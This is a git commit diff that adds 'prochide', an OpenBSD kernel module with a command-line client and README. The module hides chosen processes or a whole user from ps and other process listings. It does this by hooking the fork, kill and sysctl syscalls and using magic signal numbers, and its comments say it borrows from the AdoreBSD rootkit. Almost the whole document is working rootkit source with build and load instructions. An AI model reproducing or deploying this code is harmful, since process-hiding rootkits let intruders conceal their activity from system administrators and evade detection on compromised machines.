summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDimitri Sokolyuk <demon@dim13.org>2005-04-04 20:46:35 +0000
committerDimitri Sokolyuk <demon@dim13.org>2005-04-04 20:46:35 +0000
commit18a9944dc9aab70eb933a35c5a19a0a05c6ce381 (patch)
treeedac21413713538ee0392fdf6ee7c2e56eba3809
parent05e15385a41f78afcf4f1ce2890cadbd840e64ed (diff)
prochide LKM
-rw-r--r--prochide/Makefile24
-rw-r--r--prochide/README32
-rw-r--r--prochide/ph_cli.c150
-rw-r--r--prochide/prochide.c391
4 files changed, 597 insertions, 0 deletions
diff --git a/prochide/Makefile b/prochide/Makefile
new file mode 100644
index 0000000..85a1a4f
--- /dev/null
+++ b/prochide/Makefile
@@ -0,0 +1,24 @@
+#
+# prochide makefile
+#
+# mike@gravitino.net
+#
+# 9-21-01
+#
+
+all: module cli
+
+module:
+ gcc -D_KERNEL -I/sys -c prochide.c
+
+load:
+ modload -o prochide -eprochide_handler prochide.o
+
+unload:
+ modunload -n prochide
+
+cli:
+ gcc -o ph ph_cli.c
+
+clean:
+ rm -rf prochide prochide.o ph
diff --git a/prochide/README b/prochide/README
new file mode 100644
index 0000000..3307daa
--- /dev/null
+++ b/prochide/README
@@ -0,0 +1,32 @@
+prochide obsd LKM
+---------------------
+
+1. build
+2. cli usage
+3. command
+
+build
+---------------------
+1. tar zxf prochide-v0.X.tar.gz
+2. make
+3. make load (requires root privs)
+4. ./ph
+
+ph cli usage
+--------------------
+The prochide command line client allows for
+hiding of individual pids or a single uid.
+
+note: hiding user will still see hidden pids;
+other users will not.
+
+commands
+--------------------
+hide a pid: ./ph -h -p <pid>
+show a pid: ./ph -s -p <pid>
+hide a uid: ./ph -h -u <uid>
+show a uid: ./ph -s -u <uid>
+
+Thats it!
+
+-mike <mike@gravitino.net>
diff --git a/prochide/ph_cli.c b/prochide/ph_cli.c
new file mode 100644
index 0000000..6be668c
--- /dev/null
+++ b/prochide/ph_cli.c
@@ -0,0 +1,150 @@
+/*
+ * prochide command line client
+ *
+ * file: ph_cli.c
+ *
+ * CLI for prochide LKM.
+ *
+ * Very rough 1st draft client. show/hide pid,
+ * or userid. Execute w/ no CLI args for usage.
+ *
+ * mike@gravitino.net
+ */
+
+#include <stdio.h>
+#include <unistd.h>
+#include <signal.h>
+
+/*
+ * show/hide signum values
+ */
+#define HIDEPID 0x400000
+#define SHOWPID 0x400001
+#define HIDEUID 0x400002
+#define SHOWUID 0x400003
+
+#define MODE_NONE 0x0
+#define MODE_SHOW 0x1
+#define MODE_HIDE 0x2
+
+#define TYPE_NONE 0x0
+#define TYPE_PID 0x1
+#define TYPE_UID 0x2
+
+void usage (char *name)
+{
+ printf("* USAGE: %s: <-s | -h> & <-p pid | -u uid>\n"
+ "*************************************************\n", name);
+}
+
+int
+main(int argc, char *argv[])
+{
+ char ch;
+ char *p_target = NULL;
+ int target;
+ int mode = MODE_NONE;
+ int type = TYPE_NONE;
+ int flag;
+ int ret;
+
+ printf("*************************************************\n"
+ "* prochide v0.1 - mike@gravitino.net\n"
+ "*************************************************\n");
+
+ if(argc != 4)
+ {
+ usage(argv[0]);
+ return(0);
+ }
+
+ opterr = 0;
+
+ /*
+ * parse command line args..
+ */
+ while((ch = getopt(argc, argv, "hsp:u:")) != -1)
+ {
+ switch(ch)
+ {
+ case 'p':
+ p_target = optarg;
+ type = TYPE_PID;
+ break;
+ case 'u':
+ p_target = optarg;
+ type = TYPE_UID;
+ break;
+ case 'h':
+ mode = MODE_HIDE;
+ break;
+ case 's':
+ mode = MODE_SHOW;
+ break;
+ case '?':
+ usage(argv[0]);
+ return(0);
+ }
+ }
+
+ if(mode == MODE_NONE ||
+ type == TYPE_NONE)
+ {
+ usage(argv[0]);
+ return(0);
+ }
+
+ /*
+ * figure out flag value..
+ */
+ if(mode == MODE_SHOW)
+ {
+ flag = (type == TYPE_PID ? SHOWPID : SHOWUID);
+ }
+ else
+ {
+ flag = (type == TYPE_PID ? HIDEPID : HIDEUID);
+ }
+
+ target = atoi(p_target);
+ if(target == 0)
+ {
+ usage(argv[0]);
+ return(0);
+ }
+
+ /*
+ * call kill to show hide
+ */
+ ret = kill(target, flag);
+
+ switch(flag)
+ {
+ case SHOWPID:
+ printf("* pid %d %s",
+ target,
+ (ret == 0 ? "shown" : "NOT shown"));
+ break;
+ case HIDEPID:
+ printf("* pid %d %s",
+ target,
+ (ret == 0 ? "hidden" : "NOT hidden"));
+ break;
+ case SHOWUID:
+ printf("* uid %d %s",
+ target,
+ (ret == 0 ? "shown" : "NOT shown"));
+ break;
+ case HIDEUID:
+ printf("* uid %d %s",
+ target,
+ (ret == 0 ? "hidden" : "NOT hidden"));
+ break;
+ }
+
+ printf(".\n************************************************\n");
+
+ return(0);
+}
+
+
diff --git a/prochide/prochide.c b/prochide/prochide.c
new file mode 100644
index 0000000..10a07bf
--- /dev/null
+++ b/prochide/prochide.c
@@ -0,0 +1,391 @@
+/*
+ * prochide.c
+ *
+ * file: prochide.c
+ *
+ * process hiding LKM. Will hide any process
+ * from queries by libkvm functions such as
+ * those used by ps.c, etc.
+ *
+ * Credit goes to the openbsd source tree,
+ * bind, and bind's AdoreBSD from which i've
+ * cheated and learned from. Will add remainder
+ * of Adore functionality @ somepoint.
+ *
+ * Tested working under OpenBSD 2.9/x86
+ *
+ * 9-21-01
+ *
+ * mike@gravitino.net
+ */
+
+#include <sys/param.h>
+#include <sys/systm.h>
+#include <sys/conf.h>
+#include <sys/cdefs.h>
+#include <sys/proc.h>
+#include <sys/exec.h>
+#include <sys/lkm.h>
+#include <sys/syscall.h>
+#include <sys/mount.h>
+#include <sys/syscallargs.h>
+#include <sys/sysctl.h>
+#include <sys/ucred.h>
+
+/*
+ * some defs..
+ */
+#define HIDDEN_FLAG 0x1000000
+
+#define HIDEPID 0x400000
+#define SHOWPID 0x400001
+#define HIDEUID 0x400002
+#define SHOWUID 0x400003
+
+/*
+ * syscall ptrs
+ */
+static sy_call_t *p_fork ;
+static sy_call_t *p_rfork ;
+static sy_call_t *p_vfork ;
+static sy_call_t *p_kill ;
+static sy_call_t *p_sysctl;
+
+/*
+ * function prototypes
+ */
+static int is_pid_hidden (pid_t pid);
+static int hide_pid (pid_t pid);
+static int show_pid (pid_t pid);
+
+/*
+ * static int to hold uid to hide (only 1 supported @ this time)
+ */
+static int hidden_uid;
+
+/*
+ * miscellaneous LKM =D
+ */
+MOD_MISC("prochide");
+
+/*
+ * wrapper functions
+ */
+static int h_sys_fork (struct proc *p, void *uap, int *retval)
+{
+ pid_t pid;
+
+ pid = sys_fork(p, uap, retval);
+
+ if(pid > 0 && is_pid_hidden(p->p_pid))
+ {
+ hide_pid(pid);
+ }
+
+ return(pid);
+}
+
+static int h_sys_rfork(struct proc *p, void *uap, int *retval)
+{
+ pid_t pid;
+
+ pid = sys_rfork(p, uap, retval);
+
+ if(pid > 0 && is_pid_hidden(p->p_pid))
+ {
+ hide_pid(pid);
+ }
+
+ return(pid);
+}
+
+static int h_sys_vfork(struct proc *p, void *uap, int *retval)
+{
+ pid_t pid;
+
+ pid = sys_vfork(p, uap, retval);
+
+ if(pid > 0 && is_pid_hidden(p->p_pid))
+ {
+ hide_pid(pid);
+ }
+
+ return(pid);
+}
+
+/*
+ * is process hidden flag set?
+ */
+static int is_pid_hidden(pid_t pid)
+{
+ struct proc *p = NULL;
+
+ p = pfind(pid);
+ if(p == NULL)
+ {
+ return(0);
+ }
+
+ return ((p->p_flag & HIDDEN_FLAG) ? 1 : 0);
+}
+
+/*
+ * set process hidden flag
+ */
+static int hide_pid (pid_t pid)
+{
+ struct proc *p = NULL;
+
+ /*
+ * lookup process
+ */
+ p = pfind(pid);
+ if(p == NULL)
+ {
+ return(1);
+ }
+
+ /*
+ * is pid already hidden?
+ */
+ if(is_pid_hidden(pid))
+ {
+ return(0);
+ }
+
+ /*
+ * set hidden flag
+ */
+ p->p_flag ^= HIDDEN_FLAG;
+
+ return(0);
+}
+
+/*
+ * unset process hidden flag
+ */
+static int show_pid (pid_t pid)
+{
+ struct proc *p = NULL;
+
+ /*
+ * lookup process
+ */
+ p = pfind(pid);
+ if(p == NULL)
+ {
+ return(1);
+ }
+
+ /*
+ * is hidden flag already set?
+ */
+ if(!is_pid_hidden(pid))
+ {
+ return(0);
+ }
+
+ /*
+ * unset hidden flag
+ */
+ p->p_flag ^= HIDDEN_FLAG;
+
+ return(0);
+}
+
+/*
+ * hide/show processes & uid via kill syscall. see ph_cli.c
+ * for usage.
+ */
+static int h_sys_kill (struct proc *p, void *uap, int *retval)
+{
+ struct sys_kill_args *args = uap;
+ int ret;
+
+ if(SCARG(args, signum) == HIDEPID)
+ {
+ ret = hide_pid(SCARG(args, pid));
+ return(ret);
+ }
+
+ if(SCARG(args, signum) == SHOWPID)
+ {
+ ret = show_pid(SCARG(args, pid));
+ return(ret);
+ }
+
+ if(SCARG(args, signum) == HIDEUID)
+ {
+ hidden_uid = SCARG(args, pid);
+ return(0);
+ }
+
+ if(SCARG(args, signum) == SHOWUID)
+ {
+ hidden_uid = 0xCCCC;
+ return(0);
+ }
+
+ return sys_kill(p, uap, retval);
+}
+
+#define GETPROC() copyin(SCARG(args,old) + (idx * sizeof(kp)), &kp, sizeof(kp));
+
+/*
+ * copy elements in process list over
+ * element containing proc info to be
+ * hidden.
+ */
+static int overlap(void *uaddr, int cnt)
+{
+ struct kinfo_proc kp;
+ int idx;
+
+ for(idx=0; idx < cnt; ++idx)
+ {
+ copyin (uaddr + ((idx + 1) * sizeof(kp)), &kp, sizeof(kp));
+ copyout(&kp, uaddr + (idx * sizeof(kp)), sizeof(kp));
+ }
+}
+
+/*
+ * sysctl wrapper - process output from libkvm
+ * and remove processes that are hidden or processes
+ * that belong to a hidden user.
+ */
+static int h_sys_sysctl(struct proc *p, void *uap, int *retval)
+{
+ struct sys___sysctl_args *args = uap;
+ struct kinfo_proc kp;
+ struct pcred *pc;
+ size_t nproc;
+ size_t tsize;
+ int *mib ;
+ int ret ;
+ int idx ;
+ int offset;
+ int cuid = p->p_cred->p_ruid; // caller's real uid
+
+ // call function
+ ret = sys___sysctl(p, uap, retval);
+
+ mib = SCARG(args, name);
+
+ // process output - is process listing?
+ if(ret != -1 &&
+ mib[0] == CTL_KERN &&
+ mib[1] == KERN_PROC &&
+ SCARG(args, old) != NULL) // not size getting calls..
+ {
+ // get # of bytes comprising proc structs
+ copyin(SCARG(args, oldlenp), &nproc, sizeof(size_t));
+
+ // calc # of kinfo_proc structs
+ nproc /= sizeof(struct kinfo_proc);
+ tsize = nproc;
+
+ /*
+ * remove hidden structs from output
+ */
+ if(nproc > 0)
+ {
+ for(idx=0; idx < nproc; ++idx)
+ {
+ // copy idx into kp using macro
+ GETPROC();
+
+ /*
+ * show to hidden user but not to
+ * other users.. if no hidden user
+ * is set, show to nobody (unless
+ * their uid is 0xCCCC)
+ */
+ if((cuid != hidden_uid &&
+ is_pid_hidden(kp.kp_proc.p_pid)) ||
+ (cuid != hidden_uid &&
+ kp.kp_proc.p_cred->p_ruid == hidden_uid))
+ {
+ // overlap hidden pid data
+ overlap(SCARG(args,old) +
+ (idx * sizeof(kp)),
+ nproc - idx - 1);
+
+ // decrement size
+ --tsize;
+ --idx;
+ --nproc;
+ continue;
+ }
+ }
+
+ tsize *= sizeof(struct kinfo_proc);
+
+ // update len
+ copyout(&tsize, SCARG(args, oldlenp), sizeof(size_t));
+ }
+ }
+
+ return(ret);
+}
+
+/*
+ * module load handler
+ */
+static int prochide_load (struct lkm_table *lkmtp, int cmd)
+{
+ if(cmd == LKM_E_LOAD)
+ {
+ /*
+ * save syscall ptrs
+ */
+ p_fork = sysent[SYS_fork ].sy_call;
+ p_rfork = sysent[SYS_rfork ].sy_call;
+ p_vfork = sysent[SYS_vfork ].sy_call;
+ p_kill = sysent[SYS_kill ].sy_call;
+ p_sysctl = sysent[SYS___sysctl].sy_call;
+
+ /*
+ * replace w/ prochide wrapper functions
+ */
+ sysent[SYS_fork ].sy_call = h_sys_fork ;
+ sysent[SYS_rfork ].sy_call = h_sys_rfork ;
+ sysent[SYS_vfork ].sy_call = h_sys_vfork ;
+ sysent[SYS_kill ].sy_call = h_sys_kill ;
+ sysent[SYS___sysctl].sy_call = h_sys_sysctl;
+
+ /*
+ * initialize hidden userid
+ */
+ hidden_uid = 0xCCCC;
+ }
+
+ return(0);
+}
+
+/*
+ * module unload handler
+ */
+static int prochide_unload (struct lkm_table *lkmtp, int cmd)
+{
+ if(cmd == LKM_E_UNLOAD)
+ {
+ /*
+ * restore syscall ptrs
+ */
+ sysent[SYS_fork ].sy_call = p_fork ;
+ sysent[SYS_rfork ].sy_call = p_rfork ;
+ sysent[SYS_vfork ].sy_call = p_vfork ;
+ sysent[SYS_kill ].sy_call = p_kill ;
+ sysent[SYS___sysctl].sy_call = p_sysctl;
+ }
+
+ return(0);
+}
+
+/*
+ * entry point / cmd dispatcher
+ */
+int prochide_handler(struct lkm_table *lkmtp, int cmd, int ver)
+{
+ DISPATCH(lkmtp, cmd, ver, prochide_load, prochide_unload, lkm_nofunc)
+}